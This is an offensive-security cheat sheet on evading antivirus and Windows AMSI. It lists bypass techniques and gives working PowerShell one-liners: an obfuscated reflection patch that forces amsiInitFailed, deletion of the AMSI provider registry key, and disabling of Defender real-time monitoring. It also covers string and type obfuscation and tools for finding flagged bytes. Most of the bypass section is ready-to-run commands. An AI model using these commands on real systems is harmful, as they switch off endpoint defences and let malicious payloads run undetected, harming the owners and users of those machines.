killchain-compendium/antivirus_evasion.md

Antivirus Evasion

• Existing types

  • On-Disk evasion
  • In-Memory evasion

• Detection Methods

  • Static Detection -- Hash or String/Byte Matching
  • Dynamic / Heuristic / Behaviourial Detection -- predefined rules, run inside a sandbox

Anti Malware Secure Interface

• https://docs.microsoft.com/en-us/windows/win32/amsi/

Return Result Codes

AMSI_RESULT_CLEAN = 0
AMSI_RESULT_NOT_DETECTED = 1
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
AMSI_RESULT_DETECTED = 32768

Bypass

• Patching amsi.dll
• Amsi ScanBuffer patch
• Forcing errors
• Matt Graeber's Reflection
• PowerShell downgrade
• S3cur3Th1sSh1t
• BC-Security's AMSI bypass
• RastaMouse's AMSI bypass
• Practical example

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse
Set-MpPreference -DisableRealtimeMonitoring $true

• Varying string concatenation and camelCasing variations of the following string

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Validate

• Validate Obfuscation and check which strings trigger AMSI
• AMSITrigger Repo

.\\AMSITrigger.exe -u <URL> -f 1

or

.\\AMSITrigger.exe -i <file> -f 1

Further Obfuscation

• String concatenation

$OBF = 'Ob' + 'fu' + 's' +'cation'

• Concatenate - ('co'+'ffe'+'e')
• Reorder - ('{1}{0}'-f'ffee','co')
• Whitespace - ( 'co' +'fee' + 'e')

Type Obfuscation

• .NET has type accelerators as aliases for types to shorten them and break the signature.

• idera

• 0x00-0x00

• Documentation at microsoft

• Example

  • Without

[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);

* With

[dorkstork]::copy($buf, 0, $BufferAddress, 6);

Automated Obfuscation

Powershell

• Invoke-Obfuscation
• Daniel's guide to Invoke-Obfuscation

Invoke-Obfuscation -ScriptBlock {'Payload Here'} -Command 'Token\\String\\1,2,\\Whitespace\\1' -Quiet -NoExit

• 8191 character limit of command prompt must not be exceeded.

Other Obfuscation

• Pinpoint bytes that will be flagged with ThreadCheck
  • Has to be build via VS. Will output a ddll, an excutable and an XML file.
  • ThreatCheck.exe -f <file>
• DefenderCheck

Links

• cmnatic
• cmnatic's diss
• s3cur3th1ssh1t
• amsi.fail